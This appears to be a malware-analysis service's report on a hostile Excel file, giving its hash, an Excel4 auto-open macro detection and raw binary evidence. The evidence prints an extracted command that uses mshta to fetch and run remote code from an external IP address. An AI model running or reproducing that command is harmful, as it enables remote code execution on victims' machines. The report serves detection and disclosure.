Hostile 99% Download

45460f40c822a4ec4d1bd9fe9c65bbff1821f4332f6d05c98ef9f9c33a64c7ea.xlsx

Detects Excel4 macro use with auto open / closeDirect external IP address in URL
SHA-25645460f40c822a4ec4d1bd9fe9c65bbff1821f4332f6d05c98ef9f9c33a64c7ea
MaleculeO(C)Th

Evidence

Detects Excel4 macro use with auto open / close line 0
0��ࡱ�����������������>���� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Direct external IP address in URL line 81483
81483����,�������Q����������� ���;�4�CMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.htmlBn�����������������B�6���������U�� ���� ����P���H��� �������������0�����(���� �������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.